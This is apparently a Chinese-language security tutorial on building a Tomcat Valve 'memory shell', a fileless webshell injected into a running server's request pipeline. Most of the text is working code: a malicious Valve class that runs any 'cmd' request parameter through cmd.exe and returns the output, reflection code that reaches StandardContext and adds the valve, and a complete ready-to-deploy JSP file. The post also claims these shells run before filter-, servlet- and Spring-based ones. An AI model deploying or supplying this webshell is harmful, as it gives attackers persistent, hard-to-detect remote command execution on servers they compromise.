Tomcat Valve内存马

Valve是Tomcat 容器的专用请求处理拦截器,能够对流量进行一定操控


关于Valve

在Tomcat服务器中,流量会经转多个容器,容器内具有一条管道Pipeline供流量传输,在该管道中,可以设置阀门Valve对流量进行处理,类似于JavaEE中的过滤器Filter,Valve通过invoke()方法对流量进行相应操作

IMyaJTVZlbgmWEc

Pipeline接口中,具有一个addValve()方法用于添加自定义阀

public interface Pipeline extends Contained {
Valve getBasic();

void setBasic(Valve var1);

void addValve(Valve var1);

Valve[] getValves();

void removeValve(Valve var1);

Valve getFirst();

boolean isAsyncSupported();

void findNonAsyncValves(Set<String> var1);
}

因而只需要获取一个容器,向容器中添加我们定义的恶意Valve类就可以执行我们的恶意逻辑,Context容器当然是首选,在前面FIlterServlet内存马的构建中我们可以轻松地获取Context容器接口的实现类StandardContext


构建Valve内存马

继承ValveBase类构建恶意的Valve,重写invoke()方法

public static class ValveShell extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
StringBuilder output = new StringBuilder();
ProcessBuilder processBuilder;
processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (IOException e) {
throw new RuntimeException(e);
}
response.setContentType("text/html;charset=UTF-8");
response.getWriter().println(output);
}
}

}

获取当前web应用的StandardContext,将恶意阀注入

ServletContext servletContext = request.getServletContext();

Class<?> servletContextClass = servletContext.getClass();
Field applicationContext = servletContextClass.getDeclaredField("context");
applicationContext.setAccessible(true);
ApplicationContext trueApplicationContext = (ApplicationContext) applicationContext.get(servletContext);

Class<? extends ApplicationContext> applicationContextClass = trueApplicationContext.getClass();
Field standardContext = applicationContextClass.getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext trueStandardContext = (StandardContext) standardContext.get(trueApplicationContext);
trueStandardContext.getPipeline().addValve(new ValveShell());

完整的jsp文件

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public static class ValveShell extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
StringBuilder output = new StringBuilder();
ProcessBuilder processBuilder;
processBuilder = new ProcessBuilder("cmd.exe", "/c", cmd);
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (IOException e) {
throw new RuntimeException(e);
}
response.setContentType("text/html;charset=UTF-8");
response.getWriter().println(output);
}
}

}
%>
<%
ServletContext servletContext = request.getServletContext();

Class<?> servletContextClass = servletContext.getClass();
Field applicationContext = servletContextClass.getDeclaredField("context");
applicationContext.setAccessible(true);
ApplicationContext trueApplicationContext = (ApplicationContext) applicationContext.get(servletContext);

Class<? extends ApplicationContext> applicationContextClass = trueApplicationContext.getClass();
Field standardContext = applicationContextClass.getDeclaredField("context");
standardContext.setAccessible(true);
StandardContext trueStandardContext = (StandardContext) standardContext.get(trueApplicationContext);
trueStandardContext.getPipeline().addValve(new ValveShell());

response.getWriter().write("success");
%>

Valve在流量到达Context容器前就已在发挥作用,其优先级比FilterServletListener和Spring框架中的内存马都要高